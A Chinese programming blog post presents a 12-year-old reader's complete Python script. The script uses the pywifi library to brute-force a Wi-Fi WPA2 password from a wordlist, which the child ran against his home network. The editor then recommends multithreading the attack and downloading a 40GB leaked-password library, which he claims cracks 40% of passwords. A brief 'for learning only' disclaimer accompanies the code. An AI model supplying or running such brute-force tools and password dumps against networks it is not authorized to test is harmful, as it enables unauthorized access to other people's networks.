12岁小读者使用Python暴力破解Wi-Fi密码
时间:2022-07-24
本文章向大家介绍12岁小读者使用Python暴力破解Wi-Fi密码,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
这一代后浪在父母的光环加持下,猛点技能点。有些从小学开始敲基因,有些一天能写2000首诗,有些发表的论文已经达到硕士毕业水平。但是在编程领域还有另外一群后浪,有些仅仅靠着自己的自学开始做游戏,建网站,在同龄人的互联网领域里叱诧风云
像之前还有小读者问行哥现在12岁已经学完Python基础,不知道对Python的其它方向该如何选择
这不,就有小读者给行哥投稿,他写代码生成密码本,并利用pywifi工具包对自家Wi-Fi进行暴力破解,下文分享给大家看看
1.投稿内容
Hello我是狂飙 今天来分享一些我对Python破解WiFi的一些看法,思路如下:
1.首先我们需要生成密码本, 因为大部分wifi密码为八位数字, 所以我们就生成八位数字密码本。
2.然后判断电脑是否连接wifi
3.创建wifi连接文件,选择要连接wifi名称,检查加密单元
4.接下来删除所有连接过的wifi 判断wifi是否连接。
5.最后需要一个八位以上的密码本,一行一行读取就可以了。
完整的代码就发给大家了 不要忘记生成密码本,然后说找不到password.txt的文件啊
# coding:utf-8
import pywifi
from pywifi import const
import time
#测试连接,返回链接结果
#抓取网卡接口(改进)
#wifi = pywifi.PyWiFi()
#获取第一个无线网卡
#ifaces = wifi.interfaces()[0]
def wifiConnect(pwd):
#抓取网卡接口(原版)
wifi = pywifi.PyWiFi()
#获取第一个无线网卡
ifaces = wifi.interfaces()[0]
#断开所有连接
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
#创建WiFi连接文件
profile = pywifi.Profile()
#要连接WiFi的名称
profile.ssid = "wifi名称"
#网卡的开放状态
profile.auth = const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
#调用密码
profile.key = pwd
#删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi连接时间
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
#读取密码本
def readPassword():
print("开始破解:")
#密码本路径
path = r"C:Users电脑路径Desktoppassword.txt"
#打开文件
file = open(path, "r")
while True:
try:
#一行一行读取
pad = file.readline()
bool = wifiConnect(pad)
if bool:
print("密码已破解: ", pad)
print("WiFi已自动连接!!!")
break
else:
#跳出当前循环,进行下一次循环
print("密码破解中....密码校对: ", pad)
except:
continue
readPassword()
注:上述方法仅供学习讨论
下图为实际运行结果,我们修改对应wifi的名称,直接运行就可以了!
虽然这样的方法确实有用,只可惜效率实在是太低了,我在运行到第99…9次的时候终于忍不住,把WiFi密码改简单了。再运行一下,成功!
2.行哥说两句
对于12岁的学生来说,能够灵活使用Python工具包实现功能,并且自行配置好环境非常难得。
这里行哥也提出了两点可以改进的地方
- 暴力破解单线程太慢,可以尝试使用任务处理
- 密码比较单一,可以从网上寻找密码库来尝试撞库,行哥找了40G的密码库,大家可以在文末的链接处进行下载哦,据说可以破解40%的密码
那么后浪来了,还在学Python的你有如何感想?
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Java 新特性前瞻:封印类
- 每天手撕一道算法题-130. 被围绕的区域
- C#实现前向最大匹、字典树(分词、检索)
- Tomcat 中文乱码,设置UTF-8
- 从零搭建Spring Boot脚手架(4):手写Mybatis通用Mapper
- IDEA将Maven项目中指定文件夹下的xml等文件编译进classes
- 数据误操作,教你使用ApexSQLLog工具从 SQLServer日志恢复数据!
- 从零搭建Spring Boot脚手架(5):整合 Mybatis Plus
- SQL Server数据库阻塞,死锁查询
- 如何优雅地写出大规模线性规划的对偶
- 数据库char varchar nchar nvarchar,编码Unicode,UTF8,GBK等,Sql语句中文前为什么加N(一次线上数据存储乱码排查)
- [Maven][maven-shade-plugin]告警[WARNING] maven-shade-plugin has detected that some class files are pre
- asp.net core 3.1多种身份验证方案,cookie和jwt混合认证授权
- 只知道java反射,宁知道内省吗?
- JDK1.8新特性(七):默认方法,真香,开动!接口?我要升级!!